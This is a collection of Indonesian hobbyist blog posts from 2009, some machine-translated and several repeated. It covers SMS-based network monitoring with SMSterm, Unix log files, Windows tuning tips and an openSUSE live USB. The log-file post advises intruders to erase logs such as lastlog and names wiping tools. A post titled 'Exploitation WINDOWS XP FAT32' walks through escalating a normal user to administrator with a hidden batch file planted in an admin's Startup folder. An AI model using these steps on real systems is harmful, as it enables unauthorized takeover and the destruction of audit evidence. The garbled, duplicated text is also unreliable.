dir\system32
1. Instalasi SMSterm
SMSterm adalah sebuah program mudah yang dipergunakan oleh semua orang dan dapat dijalankan
lewat mesin server linux. SMSterm terkoneksi dengan server ICQ (layanan chatting umum selain
MSN, IRC,etc), maka dari itu anda terlebih daluhu mendaftarkan diri di
https://web.icq.com/register/1,,,00.html.
Dalam proses pendaftaran ICQ, ikuti petunjuk yang anda sehingga nantinya anda memiliki sebuah
nomer ICQ dan password.
Pastikan login pada server anda adalah sebagai root !
Download source SMSterm:
http://freshmeat.net/redir/smsterm/20044/url_tgz/SMSTerm-0.6.1.tar.gz
[gembel@gembel]#wget http://freshmeat.net/redir/smsterm/20044/url_tgz/SMSTerm-
0.6.1.tar.gz
Ekstrak source SMSTerm-0.6.1.tar.gz:
[gembel @ gembel]#tar -xzvf SMSTerm-0.6.1.tar.gz
Kemudian pindahkan dan rename hasil exstrak SMSTerm-0.6.1.tar.gz ke dalam /usr/local/
[gembel @ gembel]#mv SMSTerm-0.6.1 /usr/local/smsterm
[gembel @ gembel]#cd /usr/local/smsterm
Penambahan perl module Expect.pm:
Agar smsterm berjalan, maka diperlukan penambahan Expect.pm perl module. Anda dapat
mengambilnya di http://www.cpan.org/authors/id/R/RG/RGIERSIG/Expect-1.13_02.tar.gz, Lalu
ikuti petunjuk yang ada pada README direktori Expect-1.13.
[gembel @ gembel smsterm]#wget http://www.cpan.org/authors/id/R/RG/RGIERSIG/Expect-
1.13_02.tar.gz
Atau anda juga bisa mengunakan cara cepat dengan module CPAN, caranya sebagai berikut:
[gembel @ gembel smsterm]#perl -MCPAN -e shell
cpan>install Expect
Lalu ikuti petunjuk yang ada pada monitor anda.
Edit smsterm.conf dan icqsmsd.conf :
uin = nomer-icq-anda (contoh: 115206802)
password = password-icq-anda (contoh: icq12345)
mobileno = nomer-handphone-anda (contoh: 62818398403)
INGAT PENGISIAN MOBILENO JANGAN DITAMBAH "+"
[gembel@ gembel smsterm]#vi smsterm.conf
[gembel@ gembel smsterm]#vi icqsmsd.conf
Menjalankan daemon sms-server dan sms -send:
Terlebih dahulu test daemon smsterm:
[gembel @ gembel smsterm]#./smsterm
Untuk melihat log sms anda:
[gembel @ gembel smsterm]#tail -f smsterm.log
SMSTerm-0.6.1: Opening logfile at Sun Apr 27 16:00:21 2003
Trying to connect.....done!
sending:
SMSterm INSTALALED
Deliverable: Yes
Sending thru Excelcom
Message ID: 115206802-2-1051434911-62818398403
Tunggulah jawaban smsterm pada handphone anda.
Bila ada kiriman "SMSterm INSTALALED" maka segala module dan congurasi anda adalah benar.
Sekarang kita menjalakan sms-server dengan daemon icqsmsd terlebih dahulu.
[hanny@hanny smsterm]#./icqsmsd
SMSTerm - icqsmsd-0.6.1: Opening logfile at Sun Apr 27 16:10:23 2003
Trying to connect.....done!
Buka satu consule linux anda, guna menjalankan sms-send
[gembel @ gembel]$sudo bash
[gembel @ gembel]#
[gembel @ gembel]#cd /usr/local/smsterm
[gembel @ gembel smsterm]#./icqsms-send 62818398403 "hallo"
Pindah ke consule yang menjalankan sms-server daemon:
Maka akan terlihat log dari sms-send, seperti yang terlihat dibawah ini
[gembel @ gembel smsterm]#./icqsmsd
SMSTerm - icqsmsd-0.6.1: Opening logfile at Sun Apr 27 16:10:23 2003
Trying to connect.....done!
sending to 62818398403 :
hallo
SMS response:
Deliverable: Yes
Sending thru Excelcom
Message ID: 115206802-2-1051432639-62818398403
nb: Sementara ini SMSterm dapat mengirim pesan kepada operator Indonesia GSM PROXL ,
sedangkan TELKOMSEL ,SATELINDO,etc telah saya coba belum ada hasilnya !!
2. Membuat Scripts sms-ping
Untuk membuat scripts monitoring kita akan menggunakan shell programing.
Pertama-tama kita buat file dengan nama sms-ping, lalu letakan di dalam /bin.
[gembel@gembel smsterm#vi sms-ping
---------------------- isi dari sms-ping, copy scripts di bawah ini ------------------------------
#!/bin/bash
hosttoping=$1
if [ -z "$1" ]; then
echo "usage: $myname hostname"
exit 1
fi
ping -c3 $hosttoping > /dev/null 2>&1
if test "$?" = "0" ; then
echo up
else
echo down
-------------------------------- batas akhir scripts sms-ping --------------------------------------
Keterangan scipts sms-ping:
Sms-ping akan memberi report kepada anda berupa tulisan UP atau DOWN.
Gunanya untuk mendeteksi komputer server atau client anda, HIDUP atau MATI.
Sms-ping bisa berupa IPADDRESS atau HOSTNAME. (terserah anda)
[gembel @h gembel smsterm]#chmod 755 sms-ping
[gembel @gembel smsterm]#mv sms-ping /bin/
Kemudian coba scripts sms-ping :
[gembel @ gembel smsterm]#sms-ping ip-client-anda
misalnya :
[gembel @ gembel smsterm]#sms-ping 192.168.1.2
up
[gembel @ gembel smsterm]#sms-ping www.blablabla.com
down
Kemudian coba gabungkan scripts anda dengan smsterm, contoh bila ada client anda dengan ip
192.168.1.2 dan komputer tersebut sedang konek dengan komputer anda, maka:
[gembel @ gembel smsterm]#./icqsms-send 62818398403 "ini hasil ping dari client02 `/bin/sms-ping
192.168.1.2`"
Tunggu pesan sms di handphone anda, pesan yang akan terkirim berbunyi :
INI HASIL PING DARI CLIENT02 UP
Bila komputer dengan ip 192.168.1.2 tidak menyala atau tidak konek atau memang tidak ada, pesan
yang akan terkirim berbunyi :
INI HASIL PING DARI CLIENT02 DOWN
Untuk mengatur monitoring jaringan client, misal tiap jam 21.00 kita ingin tau kondisi client kita.
Maka icqsms-send kita masukan kedalam crontab.
[gembel @ gembel smsterm]#crontab -e
----------------------------------------------isi dari crontab -------------------------------------------
00 21 * * * cd /usr/local/smsterm; ./icqsms-send 628183098403 "ini hasil ping dari client02
`/bin/sms-ping 192.168.1.2`"
------------------------------------------------------------------------------------------------------------
3. Membuat Scripts checkhost
Jika anda kurang suka dengan scripts sms-ping, anda bisa mencoba dengan scripts checkhost.
Scripts checkhost dapat anda ambil di http://people.cakraweb.com/~asfik/checkhost.sh.txt
[gembel @ gembel smsterm]#wget http://people.cakraweb.com/~asfik/checkhost.sh.txt
Keterangan scripts checkhost:
Script checkhost ini mengirim sms bila ada client kita yang mati.
Jika client tidak ada yang mati atau kondisi jaringan baik, maka tidak ada sms.
[gembel @ gembel smsterm]#mv checkhost.sh.txt checkhost
[gembel @ gembel smsterm]#chmod 755 checkhost
[gembel @ gembel smsterm]#mv checkhost /bin/
Kemudian edit scripts checkhost (baca keterangan di dalam file checkhost).
[gembel @ gembel smsterm]#vi /bin/checkhost
Untuk mengatur monitoring jaringan client dengan scripts checkhost , misal tiap 5 menit kita ingin
tau kondisi client kita. Maka checkhost kita masukan kedalam crontab.
[hanny@hanny smsterm]#crontab -e
----------------------------------------------isi dari crontab ------------------------------------------
0-59/5 * * * * /bin/checkhost
------------------------------------------------------------------------------------------------------------
Untuk mencoba script checkhost jalan atau tidak, maka matikan salah satu client anda (sudah ikut
dalam bagian scripts checkhost tentunya). Bila ada sms yang menyatakan salah satu client anda
down,maka scripts ini bekerja.
4. Membuat Autorun Monitoring Jaringan SMSterm
Sekarang kita tinggal meletakannya pada rc.local, agar smsterm berjalan stabil tambahkan remove
icqsmsd.sock
[gembel @ gembel smsterm]#vi rc.local
----------------------------------------------isi dari rc.local -------------------------------------------
/bin/rm /tmp/icqsmsd.sock
cd /usr/local/smsterm; ./icqsmsd
------------------------------------------------------------------------------------------------------------
[gembel@gembel smsterm]#/sbin/reboot :)
5. Problem Yang Sering Terjadi
4.1 cannot create socket /tmp/icqsmsd.sock
- Error ini timbul karena sudah adanya program icqsmsd atau smstern yang berjalan.
4.2 [ERR] YOUR ICQ NUMBER IS USED FROM ANOTHER LOCATION
- Error ini timbul karena sudah adanya pengunaan user icq pada jaringan internet.
4.3 ./icqsms-send: error connecting to '/tmp/icqsmsd.sock': connect: No such file or directory
Are you running the icqsmsd server?
If so, please check the permissions of '/tmp/icqsmsd.sock'
- Error ini timbul karena tidak ada daemon icqsmsd pada mesin anda.
4.4 Pesen pada icqsms-send.php anda tidak terkirim
- Error ini timbul karena permissions user pada /tmp/icqsmsd.sock tidak sama dengan user daemon
http.
4.5 SMSterm dapat mengirim pesan kepada operator Indonesia GSM PROXL, sedangkan
TELKOMSEL ,SATELINDO,etc telah saya coba belum ada hasilnya !!
4.6 Scripts chechost kok ndak sms ke handphone (08574180xxxx), padalah kalau pakek scripts smsping
bisa.
Solusinya: hapus file checkhost.cnt di /tmp/
Selasa, 24 November 2009
Mengenal Macam-macam File-file Log Diserver
dir\system32
Mengenal Macam-macam File-file Log Diserver
#####################################################
File-file log adalah file yang berada di sebuah sistem yang merupakan file-file penting yang senantiasa mencatat semua kejadian-kejadian(kegiatan) yang berlangsung pada sistem. file ini sangat penting pada sebuah sistem untuk memudahkan kita khususnya admin untuk memeriksa dan menelurusi berbagai masalah yang terjadi, dengan file log si admin dengan mudah menemukan sebuah bug, sumber-sumber penyerangan, dan kerusakan-kerusakan yang terjadi pada sistem yang ditimbulkan , walaupun kita tidak mengetahui cara menanggulagi kerusakan tersebut.
File -file log kebanyakan ditulis dalam bentuk file text yang ditulis perbaris (istilah untuk namanya adalah record) oleh program-program sistem bawaan saat kita menginstall sebuah program ataupun sebuah SO (sistem operasi). sebagai contoh misalkan pada saat kita menjalankan perintah su, maka program su akan memberikan laporannya dan membubuhkan ke dalam file log sulog (file ini akan menjelaskan apakah usaha su dilakukan user tersebut sukses atau tidak).
Versi-versi Unix menyimpan file-file log-nya pada direktory berbeda-beda. umumnya file ini berada pada :
/usr/adm ---> Digunakan oleh Unix Versi lama
/var/adm ---> Digunakan oleh kebanyakan Versi Unix/Linux terbaru. dimana partisi
/usr di-mount read only
/var/log ---> Digunakan oleh beberapa versi Solaris,Linux,BSD,dan freeBSD
didalam direktory2 diatas...terdapat subdirektory didalamnya terdapat file-file sebagai berikut
sulog ---> Melakukan log penggunaan perintah su
utmp ---> Merekam setiap user yang tengah login
utmpx ---> Extended utmp
wtmp ---> Memberikan record permanen untuk setiap kali user login dan logout, juga merekam shutdown dan star up sistem
acct atau pacct ---> Merekam perintah-perintah yang dijalankan oleh setiap user
aculog ---> Merekam dial-out modem-modem (automatic call units)
lastlog ---> Melakukan log setiap login user,baik yang sukses maupun tidak
loginlog ---> Merekam usaha-usaha pada saat login yang gagal
messages ---> Merekam output ke "console" sistem atau pesan-pesan lain yang menghasilkan dari fasilitas syslog
wtmpx ---> Extended wtmp
vold.log ---> Melakukan log error-error yang dialami atas penggunaaan external media seperti, disk-disk floppy atau CDROM.
xferlog ---> Melakukan log akses-akses ftp
aculog ---> Melakukan log pada setiap terjadi panggilan telepon yang di-dial
uucp ---> Melakukan log saat terjadi pelanggaran-pelanggaran restriksi atu penggunaan UUCP sistem (biasanya untuk aktivitas seorang user dan log-log file transfer).
acces_log ---> Melakukan log pada saat menjalankan HTTPD untuk keperluan World Wide Web.
syslog ---> Melakukan log proses-proses sistem
dmesg ---> Melakukan log pada saat server reboot
www/access.log ---> file log access web server
www/error.log ---> file log error web server
.bash_history ---> Melakukan log hasil ketikan kita diconsole
...
...
dan laen-lain
sebagai catatan :
1. Jika anda adalah serang penyusup hapuslah log-log tersebut ( root only)
contoh :
gayo#fuck: echo " " >/var/log/lastlog <- menimpa file lastlog dengan character kosong begitu halnya dengan file-file log yang laen. (ini cara manual) .. kalo anda mau cara yang cihuy .. anda dapat menggunakan program seperti remove.c dan banyak lagi sejenisnya yang bisa anda dapatkan di toko2 terdekat ..heee (search dong ke paman google coy)
2. Jika anda adalah seorang admin sering-seringlah memantau file-file tersebut buat backup-an jika perlu untuk per-jam ato perhari (tergantung si admin juga sehh ..) banyak referensi program bantu yang bisa memantau file-file tersebut contoh dengan menggunakan crontab ato at sebagai penjadwalan untuk suatu proses (atur untuk permisi file log tersebut dengan menggunakan chmod 644 )
sintax yang mungkin dapat membantu :
gayo#fuck: find / -name wtmp -print (mencari lokasi dimana file wtmp berada langsung cetak dilayar)
gayo#fuck: find / -name utmp -print (mencari lokasi dimana file utmp berada langsung cetak dilayar)
gayo#fuck: find / -name lastlog -print (mencari lokasi dimana file lastlog berada langsung cetak dilayar)
gayo#fuck: find / -name last -print (mencari lokasi dimana file last berada langsung cetak dilayar)
Beberapa hal peting untuk diperiksa pada log anda :
1.Log pendek atau tidak lengkap.
2.Log yang berisikan waktu yang aneh.
3.Log dengan permisi atau kepemilikan yang tidak tepat.
4.Catatan pelayanan reboot atau restart.
5.Log yang hilang.
6.Masukan su atau login dari tempat yang janggal
Tidak ada gading yang tak retak , Jika ada salah dan kelupan mohon di maafkan karena penulis juga masih dalam tahap pembelajaran ...
S'moga dengan pelajaran yang kecil ini kita bisa belajar bersama!..bukankah hal-hal kecil merupakan musibah bagi hal-hal yang besar
Mengenal Macam-macam File-file Log Diserver
#####################################################
File-file log adalah file yang berada di sebuah sistem yang merupakan file-file penting yang senantiasa mencatat semua kejadian-kejadian(kegiatan) yang berlangsung pada sistem. file ini sangat penting pada sebuah sistem untuk memudahkan kita khususnya admin untuk memeriksa dan menelurusi berbagai masalah yang terjadi, dengan file log si admin dengan mudah menemukan sebuah bug, sumber-sumber penyerangan, dan kerusakan-kerusakan yang terjadi pada sistem yang ditimbulkan , walaupun kita tidak mengetahui cara menanggulagi kerusakan tersebut.
File -file log kebanyakan ditulis dalam bentuk file text yang ditulis perbaris (istilah untuk namanya adalah record) oleh program-program sistem bawaan saat kita menginstall sebuah program ataupun sebuah SO (sistem operasi). sebagai contoh misalkan pada saat kita menjalankan perintah su, maka program su akan memberikan laporannya dan membubuhkan ke dalam file log sulog (file ini akan menjelaskan apakah usaha su dilakukan user tersebut sukses atau tidak).
Versi-versi Unix menyimpan file-file log-nya pada direktory berbeda-beda. umumnya file ini berada pada :
/usr/adm ---> Digunakan oleh Unix Versi lama
/var/adm ---> Digunakan oleh kebanyakan Versi Unix/Linux terbaru. dimana partisi
/usr di-mount read only
/var/log ---> Digunakan oleh beberapa versi Solaris,Linux,BSD,dan freeBSD
didalam direktory2 diatas...terdapat subdirektory didalamnya terdapat file-file sebagai berikut
sulog ---> Melakukan log penggunaan perintah su
utmp ---> Merekam setiap user yang tengah login
utmpx ---> Extended utmp
wtmp ---> Memberikan record permanen untuk setiap kali user login dan logout, juga merekam shutdown dan star up sistem
acct atau pacct ---> Merekam perintah-perintah yang dijalankan oleh setiap user
aculog ---> Merekam dial-out modem-modem (automatic call units)
lastlog ---> Melakukan log setiap login user,baik yang sukses maupun tidak
loginlog ---> Merekam usaha-usaha pada saat login yang gagal
messages ---> Merekam output ke "console" sistem atau pesan-pesan lain yang menghasilkan dari fasilitas syslog
wtmpx ---> Extended wtmp
vold.log ---> Melakukan log error-error yang dialami atas penggunaaan external media seperti, disk-disk floppy atau CDROM.
xferlog ---> Melakukan log akses-akses ftp
aculog ---> Melakukan log pada setiap terjadi panggilan telepon yang di-dial
uucp ---> Melakukan log saat terjadi pelanggaran-pelanggaran restriksi atu penggunaan UUCP sistem (biasanya untuk aktivitas seorang user dan log-log file transfer).
acces_log ---> Melakukan log pada saat menjalankan HTTPD untuk keperluan World Wide Web.
syslog ---> Melakukan log proses-proses sistem
dmesg ---> Melakukan log pada saat server reboot
www/access.log ---> file log access web server
www/error.log ---> file log error web server
.bash_history ---> Melakukan log hasil ketikan kita diconsole
...
...
dan laen-lain
sebagai catatan :
1. Jika anda adalah serang penyusup hapuslah log-log tersebut ( root only)
contoh :
gayo#fuck: echo " " >/var/log/lastlog <- menimpa file lastlog dengan character kosong begitu halnya dengan file-file log yang laen. (ini cara manual) .. kalo anda mau cara yang cihuy .. anda dapat menggunakan program seperti remove.c dan banyak lagi sejenisnya yang bisa anda dapatkan di toko2 terdekat ..heee (search dong ke paman google coy)
2. Jika anda adalah seorang admin sering-seringlah memantau file-file tersebut buat backup-an jika perlu untuk per-jam ato perhari (tergantung si admin juga sehh ..) banyak referensi program bantu yang bisa memantau file-file tersebut contoh dengan menggunakan crontab ato at sebagai penjadwalan untuk suatu proses (atur untuk permisi file log tersebut dengan menggunakan chmod 644 )
sintax yang mungkin dapat membantu :
gayo#fuck: find / -name wtmp -print (mencari lokasi dimana file wtmp berada langsung cetak dilayar)
gayo#fuck: find / -name utmp -print (mencari lokasi dimana file utmp berada langsung cetak dilayar)
gayo#fuck: find / -name lastlog -print (mencari lokasi dimana file lastlog berada langsung cetak dilayar)
gayo#fuck: find / -name last -print (mencari lokasi dimana file last berada langsung cetak dilayar)
Beberapa hal peting untuk diperiksa pada log anda :
1.Log pendek atau tidak lengkap.
2.Log yang berisikan waktu yang aneh.
3.Log dengan permisi atau kepemilikan yang tidak tepat.
4.Catatan pelayanan reboot atau restart.
5.Log yang hilang.
6.Masukan su atau login dari tempat yang janggal
Tidak ada gading yang tak retak , Jika ada salah dan kelupan mohon di maafkan karena penulis juga masih dalam tahap pembelajaran ...
S'moga dengan pelajaran yang kecil ini kita bisa belajar bersama!..bukankah hal-hal kecil merupakan musibah bagi hal-hal yang besar
Kamis, 19 November 2009
Penghitung IP address, Sub Net
dir\system32
Countdown (calculator) IP address, Sub Net
Many people are still encountered confusion in the counting and determine IP address subnet right. Indeed kalu not used to build a good network lan wan atapun this activity is also quite confusing. But for that every day just kerjaanya designed to determine and set the IP address can be easy not a problem.
But for beginners or are not familiar with this work takes time to learn and even memorize from the types of classes until the determination of a fairly complex subnet.
Actually there is the most practical way for this purpose, namely to buy a special calculator designed to calculate the IP address. But would need to buy capital goods, reply to such a routine use to support the profession may be, and not burdensome. But if only used once I think it is also not economical in fact.
Here I give another alternative, although a lot but I only give a few examples.
1. Using the services of a site
There are several websites that provide service or free service for the purposes of calculation and subnetnya ip address. such http://www.subnet-calculator.com this site provides services to calculate the subnet ip address.
The way it works is also very easy, we have to specify the class network, after it had set its ip address. the other is setting the subnet mask, subnet bits, maximum subnet, mask bits, host per subnet. Where every one of our options set / setting the corresponding option and will change according to related rules.
2. Using free software
other than the service provider sites, many software that we can use for this keperuan. And of course free. As with my example of the software berikuan example is Advanced IP Address Calculator. This software is licensed software freeware so you can download and use freely. Its function is also pretty easy kumplit and also in Operational
If you want to try can download it here.
3. Exploiting Mobile
The more sophisticated the current hp, making your computer as easily as we bring you anywhere. Install the software directly to stay deh we can run anywhere and anytime. Now looking for a calculator program that ip-address special and we with HP. I think the most delicious and a clear easy portable.
Countdown (calculator) IP address, Sub Net
Many people are still encountered confusion in the counting and determine IP address subnet right. Indeed kalu not used to build a good network lan wan atapun this activity is also quite confusing. But for that every day just kerjaanya designed to determine and set the IP address can be easy not a problem.
But for beginners or are not familiar with this work takes time to learn and even memorize from the types of classes until the determination of a fairly complex subnet.
Actually there is the most practical way for this purpose, namely to buy a special calculator designed to calculate the IP address. But would need to buy capital goods, reply to such a routine use to support the profession may be, and not burdensome. But if only used once I think it is also not economical in fact.
Here I give another alternative, although a lot but I only give a few examples.
1. Using the services of a site
There are several websites that provide service or free service for the purposes of calculation and subnetnya ip address. such http://www.subnet-calculator.com this site provides services to calculate the subnet ip address.
The way it works is also very easy, we have to specify the class network, after it had set its ip address. the other is setting the subnet mask, subnet bits, maximum subnet, mask bits, host per subnet. Where every one of our options set / setting the corresponding option and will change according to related rules.
2. Using free software
other than the service provider sites, many software that we can use for this keperuan. And of course free. As with my example of the software berikuan example is Advanced IP Address Calculator. This software is licensed software freeware so you can download and use freely. Its function is also pretty easy kumplit and also in Operational
If you want to try can download it here.
3. Exploiting Mobile
The more sophisticated the current hp, making your computer as easily as we bring you anywhere. Install the software directly to stay deh we can run anywhere and anytime. Now looking for a calculator program that ip-address special and we with HP. I think the most delicious and a clear easy portable.
accelerate the loading windows
dir\system32
AccelerateThe Loading Windows
Do you want to speed up loading windows use the following steps ?....
(Adjust with the windows version you have)
hopefully ... help!! : D..
Eliminating early start windows logo
Open Windows Explorer
"tools | folder options | view" remove attribute "Read-only"
konfimasi "ok"
Double-click the file MSDOS.SYS open with "text editor"
Tambakan part in the
"option" with the "logo = 0" when using windows 95 write "logo = off"
Save file
Aktivekan back
attribute "read-only"
Stop the floppy disk drive search
Right click on the "My Computer | Properties | Performance | File System"
Select the tab "Floopy Disk"
Deaktivasi option "Search for new floppy disk drives each time your computer start"
confirmation "ok"
Disabling automatic Scandisk
Start menu | Run
Type "msconfig"
Open "system Configuration Utility" to Enter
"General" tab click "Advanced"
Enable the option "Disable Scandisk after bad shutdown"
Confirmation "ok"
Restart reset
Mode "Hibernation"
in Me and 2000 (Power Management)
Start "
menu | Settings | control panel | power options
"
Select the tab "Hibernate" and click the option.
confirmation "ok"
Increasing the cache for the file and path
Right click "My Computer | Properties"
Select TAB "Performance | File System"
Select the option "Network Server" next to the label "Typical role of this computer"
konfimasi "ok"
Disabling the Windows Sound events
Control Panel
"Sound
Your Multimedia "
Select the Sound tab
In the Scheme select
"No Sound" by selecting one by one
the sound event in the pull down menu and choose "none"
Konfimasi "ok"
Determining the size of the swap file
Right click "My Computer"
Properties
Tab "Performance"
Click the "Virtual Memory"
Enable the option "Use personalized settings for virtual memory"
put under the "Minimum and Maximum" a value of at least 200 MB
Ok
Yes
Restart
Startup programs do not start automatically
Start | Run
Type in "Msconfig"
On the tab "StartUp" non activate unnecessary programs
Ok Konfimasi
Restart
Reboot without load bios
Press the shift key while restarting
Virtual Memory
Add to the config.sys file
device = C: WindowsCommandRamDrive.Sys
1024 512
and the autoexec.bat
Set Temp = F: if the ram drive at F:
Long commands
Keyboard buffer can only handle a maximum of 127 characters, but there are times when we give
command that was longer than that, the solution is added to the config.sys:
shell = c: windowscommand.com / u: 255 / p
so the maximum buffer increased to 255
Instant Shut Down or Restart the Win98
With 1 click you can restart
and shutdown
1. Right-click on the desktop and select new> shortcut
2. command box type it in c: \ windows \ rundll.exe
user.exe, ExitWindows (for Shutdown)
3. c: \ windows \ rundll.exe user.exe, ExitWindowsExec
(for Shutdown
4. Click Next, and click Assign short shortcutnya finish.
To be continued ...
to other optimization article on windows .... wait yoo !!......
note: if there is another optimization you please ... confirmed
Good luck
.... Renjana.dal.net oh_gayo + Crew
AccelerateThe Loading Windows
Do you want to speed up loading windows use the following steps ?....
(Adjust with the windows version you have)
hopefully ... help!! : D..
Eliminating early start windows logo
Open Windows Explorer
"tools | folder options | view" remove attribute "Read-only"
konfimasi "ok"
Double-click the file MSDOS.SYS open with "text editor"
Tambakan part in the
"option" with the "logo = 0" when using windows 95 write "logo = off"
Save file
Aktivekan back
attribute "read-only"
Stop the floppy disk drive search
Right click on the "My Computer | Properties | Performance | File System"
Select the tab "Floopy Disk"
Deaktivasi option "Search for new floppy disk drives each time your computer start"
confirmation "ok"
Disabling automatic Scandisk
Start menu | Run
Type "msconfig"
Open "system Configuration Utility" to Enter
"General" tab click "Advanced"
Enable the option "Disable Scandisk after bad shutdown"
Confirmation "ok"
Restart reset
Mode "Hibernation"
in Me and 2000 (Power Management)
Start "
menu | Settings | control panel | power options
"
Select the tab "Hibernate" and click the option.
confirmation "ok"
Increasing the cache for the file and path
Right click "My Computer | Properties"
Select TAB "Performance | File System"
Select the option "Network Server" next to the label "Typical role of this computer"
konfimasi "ok"
Disabling the Windows Sound events
Control Panel
"Sound
Your Multimedia "
Select the Sound tab
In the Scheme select
"No Sound" by selecting one by one
the sound event in the pull down menu and choose "none"
Konfimasi "ok"
Determining the size of the swap file
Right click "My Computer"
Properties
Tab "Performance"
Click the "Virtual Memory"
Enable the option "Use personalized settings for virtual memory"
put under the "Minimum and Maximum" a value of at least 200 MB
Ok
Yes
Restart
Startup programs do not start automatically
Start | Run
Type in "Msconfig"
On the tab "StartUp" non activate unnecessary programs
Ok Konfimasi
Restart
Reboot without load bios
Press the shift key while restarting
Virtual Memory
Add to the config.sys file
device = C: WindowsCommandRamDrive.Sys
1024 512
and the autoexec.bat
Set Temp = F: if the ram drive at F:
Long commands
Keyboard buffer can only handle a maximum of 127 characters, but there are times when we give
command that was longer than that, the solution is added to the config.sys:
shell = c: windowscommand.com / u: 255 / p
so the maximum buffer increased to 255
Instant Shut Down or Restart the Win98
With 1 click you can restart
and shutdown
1. Right-click on the desktop and select new> shortcut
2. command box type it in c: \ windows \ rundll.exe
user.exe, ExitWindows (for Shutdown)
3. c: \ windows \ rundll.exe user.exe, ExitWindowsExec
(for Shutdown
4. Click Next, and click Assign short shortcutnya finish.
To be continued ...
to other optimization article on windows .... wait yoo !!......
note: if there is another optimization you please ... confirmed
Good luck
.... Renjana.dal.net oh_gayo + Crew
Exploitation WINDOWS XP FAT32
dir\system32
Exploitation WINDOWS XP FAT32
Methods of exploitation that will be described only works on Windows XP
using the FAT32 system. Windows XP is FAT32 allows the system files
normal user access from the admin home directory which is usually located
at:
C: \ Documents and Settings \ Administrator \
While in Windows XP that the system is NTFS files, not a regular user
will be able to access the home directory of the admin. If forced then
confirmed by successfully getting out the message
Access Denied
The process of exploitation can be done in a way ...
/ / SEE THE REGISTERED USER
C: \ DOCUME ~ 1 \ mrt> net user
User accounts for \ \ User
-------------------------------------------------- ----------
Administrator Guest mrt
HelpAssistant SUPPORT_388945a0 Win_Xp
The command completed successfully.
SEE USER ACCESS RIGHTS
------------------------
C: \ DOCUME ~ 1 \ mrt> net user Win_Xp
User name Win_Xp
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/9/2005 3:38 PM
Password Never expires
Password changeable 1/9/2005 3:38 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/26/2005 11:16 PM
Logon hours allowed All
Local Group Memberships * Administrators <- discovered access Global Group memberships * None The command completed successfully. Once you know who the user who has admin access, it's time for action. First create a batch script that used to lift our users to be admin. <+ + + + Batchfile>
Administrators localgoup net MRT / add
<- Batchfile ->
after we make the batch script, then save the
directory:
C: \ Documents and Settings \ Win_Xp \ Start Menu \ Programs \ Startup
In order to look more carefully batch script that should be made
hidden. Then mengunggu user has admin access to the
login, after the user has admin access is logged
then the existing user permissions on us going missing replaced
by admin access.
WARNING!
This way admin can invite suspicion, because when
The admin has to login process then he will see a flash
DOS Prompt view that suddenly appeared on the desktop.
Hopefully this article may be "slightly" increase the knowledge of all of us.
Exploitation WINDOWS XP FAT32
Methods of exploitation that will be described only works on Windows XP
using the FAT32 system. Windows XP is FAT32 allows the system files
normal user access from the admin home directory which is usually located
at:
C: \ Documents and Settings \ Administrator \
While in Windows XP that the system is NTFS files, not a regular user
will be able to access the home directory of the admin. If forced then
confirmed by successfully getting out the message
Access Denied
The process of exploitation can be done in a way ...
/ / SEE THE REGISTERED USER
C: \ DOCUME ~ 1 \ mrt> net user
User accounts for \ \ User
-------------------------------------------------- ----------
Administrator Guest mrt
HelpAssistant SUPPORT_388945a0 Win_Xp
The command completed successfully.
SEE USER ACCESS RIGHTS
------------------------
C: \ DOCUME ~ 1 \ mrt> net user Win_Xp
User name Win_Xp
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/9/2005 3:38 PM
Password Never expires
Password changeable 1/9/2005 3:38 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/26/2005 11:16 PM
Logon hours allowed All
Local Group Memberships * Administrators <- discovered access Global Group memberships * None The command completed successfully. Once you know who the user who has admin access, it's time for action. First create a batch script that used to lift our users to be admin. <+ + + + Batchfile>
Administrators localgoup net MRT / add
<- Batchfile ->
after we make the batch script, then save the
directory:
C: \ Documents and Settings \ Win_Xp \ Start Menu \ Programs \ Startup
In order to look more carefully batch script that should be made
hidden. Then mengunggu user has admin access to the
login, after the user has admin access is logged
then the existing user permissions on us going missing replaced
by admin access.
WARNING!
This way admin can invite suspicion, because when
The admin has to login process then he will see a flash
DOS Prompt view that suddenly appeared on the desktop.
Hopefully this article may be "slightly" increase the knowledge of all of us.
Make Open Suse Live CD
dir\system32
Make Open Suse Live CD
openSUSE remastering process requires a fairly long process to get it. Some distributions provide a relatively easy way and openSUSE "should" be too:-D. No problem with that KIWI KIWI remastering provides various options, such as to make LiveUSB openSUSE, LiveCD, QEMU image, VMWare image, and XEN Image but there are times when we need some adjustments that do not have to KIWI.
I am looking for a variety of topics and and how to make openSUSE Live USB and some are quite interesting to try. After trying and reviewing some tips, here is the easiest way to make openSUSE Live USB using Windows systems:-P.
Why should using Windows? Of course there is no necessity. Use the Windows system intended for Windows users who want to try openSUSE using LiveUSB without having to install and no need to fear there is a problem with the data and existing systems.
Here is a summary of the manufacturing process:
BENEFITS
1. This tutorial can be used both in Windows and on Linux. Only difference lies in the process of making a bootable Live USB (using syslinux)
2. Installation process does not require prior openSUSE as KIWI. Just download the ISO procedure requires the LiveCD and tools to extract the ISO (a free utility 7-zip can do)
3. Can use the FAT 32 file system so that the USB Flash Disk can be used to store files from Windows, Linux or Mac.
4. It's easy, just need a few short steps
5. Fast process, take a few minutes. Longest process is to copy an ISO image of 700 MB ;-)
PREPARATION
1. Prepare USB Flash Disk 1 GB minimum
2. Download the latest version of syslinux
3. Download the modifications initrd - initrdud name - from uploads Blog Weblog. These modifications include changes initrd boot from the CD to the USB and additional modules for the NLS character set FAT 32
4. Download openSUSE LiveCD ISO. As of this writing, I am using openSUSE 11.0 RC 1
MAKE bootable LiveUSB
1. Run Windows
2. Plug in USB Flash Disk
3. Extract the downloaded syslinux
4. Open a DOS Prompt (Command Prompt)
5. Move to extract the syslinux folder, go to the folder win32
6. Run the command syslinux-ma driver-letter-of-flash-disk, for example: syslinux-ma E: with E is a USB Flash Disk drivers. Note: The process of making a bootable disk is very fast so do not wait for long:-D
MANUFACTURING PROCESS LIVE USB
1. Plug in USB Flash Disk re already bootable
2. Create a temporary folder to extract the ISO LiveCD, such as folders liveiso
3. Extract the LiveCD ISO using 7-zip or winrar into a folder liveiso
4. Copy the entire contents of liveiso to USB Flash disk
5. Copy the entire contents of the folder boot/i386/loader to USB Flash disk (the root folde, not in the folder. That is, copy to drive E: instead of into a folder on drive E:)
